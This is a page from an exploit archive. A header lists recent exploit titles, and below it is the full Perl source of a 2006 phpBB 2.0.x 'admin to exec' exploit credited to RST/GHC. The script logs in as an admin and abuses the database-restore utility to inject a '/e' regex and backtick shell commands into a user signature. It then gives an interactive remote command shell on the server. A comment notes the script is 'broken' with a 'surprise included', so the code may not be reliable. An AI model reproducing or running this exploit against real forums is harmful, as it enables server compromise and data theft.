477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
113 lines
3.5 KiB
Perl
Executable file
113 lines
3.5 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
## r57phpbba2e2.pl - phpBB admin 2 exec exploit
|
|
## version 2 (based on user_sig_bbcode_uid bug)
|
|
## tested on 2.0.12 , 2.0.13 , 2.0.19
|
|
## --------------------------------------------
|
|
## screen
|
|
## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password
|
|
## Command for execute or 'exit' for exit # id
|
|
## uid=80(www) gid=80(www) groups=80(www)
|
|
## Command for execute or 'exit' for exit # exit
|
|
## --------------------------------------------
|
|
## *** surprise included ;) and broken. /str0ke
|
|
## 20/02/06
|
|
## 1dt.w0lf
|
|
## RST/GHC (http://rst.void.ru , http://ghc.ru)
|
|
|
|
use LWP::UserAgent;
|
|
use Getopt::Std;
|
|
use HTTP::Cookies;
|
|
|
|
getopts("u:L:P:i:p:o:");
|
|
|
|
$url = $opt_u;
|
|
$login = $opt_L;
|
|
$password = $opt_P;
|
|
$id = $opt_i || 2;
|
|
$prefix = $opt_p || 'phpbb_';
|
|
$proxy = $opt_o;
|
|
|
|
if(!$url || !$login || !$password){&usage;}
|
|
|
|
$|++;
|
|
|
|
$xpl = LWP::UserAgent->new() or die;
|
|
$cookie_jar = HTTP::Cookies->new();
|
|
$xpl->cookie_jar( $cookie_jar );
|
|
$xpl->proxy('http'=>'http://'.$proxy) if $proxy;
|
|
$ids = 'IDS:r57 phpBB2 exploit a2e2#20022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix;
|
|
$res = $xpl->post($url.'login.php',
|
|
[
|
|
"username" => "$login",
|
|
"password" => "$password",
|
|
"autologin" => "on",
|
|
"admin" => "1",
|
|
"login" => "Log in",
|
|
],"User-Agent" => "$ids");
|
|
$cookie_jar->extract_cookies($res);
|
|
if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; }
|
|
while ()
|
|
{
|
|
print "Command for execute or 'exit' for exit # ";
|
|
while(<STDIN>)
|
|
{
|
|
$cmd=$_;
|
|
chomp($cmd);
|
|
exit() if ($cmd eq 'exit');
|
|
last;
|
|
}
|
|
&run($cmd);
|
|
}
|
|
|
|
sub run($)
|
|
{
|
|
$sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";";
|
|
&phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql);
|
|
$res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids");
|
|
@result = split(/\n/,$res->content);
|
|
$data = '';
|
|
$on = $start = $end = 0;
|
|
for (@result)
|
|
{
|
|
if (/_END_/) { $end = 1; last; }
|
|
if ($on) { $data .= $_."\n"; }
|
|
if (/_START_/) { $on = 1; $start = 1; }
|
|
}
|
|
if($start&&$end) { print $data."\r\n"; }
|
|
}
|
|
|
|
sub phpbb_sql_query($$){
|
|
$res = $xpl->post("$_[0]",
|
|
Content_type => 'form-data',
|
|
Content => [
|
|
perform => 'restore',
|
|
restore_start => 'Start Restore',
|
|
backup_file => [
|
|
undef,
|
|
'0wneeeeedddd',
|
|
Content_type => 'text/plain',
|
|
Content => "$_[1]",
|
|
],
|
|
]
|
|
,"User-Agent" => "$ids");
|
|
}
|
|
|
|
sub usage()
|
|
{
|
|
print "\\=-----------------------------------=/\r\n";
|
|
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
|
|
print "| version 2 (user_sig_bbcode_uid) |\r\n";
|
|
print "/=-----------------------------------=\\\r\n";
|
|
print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n";
|
|
print " Options:\r\n";
|
|
print " -u [URL] - path to forum e.g. http://site/forum/\r\n";
|
|
print " -L [login] - admin login\r\n";
|
|
print " -P [password] - admin password\r\n";
|
|
print " -i [id] - admin id (optional, default 2)\r\n";
|
|
print " -p [prefix] - table prefix (optional, default phpbb_)\r\n";
|
|
print " -o [host:port] - proxy (optional)\r\n";
|
|
exit();
|
|
}
|
|
|
|
# milw0rm.com [2006-04-10]
|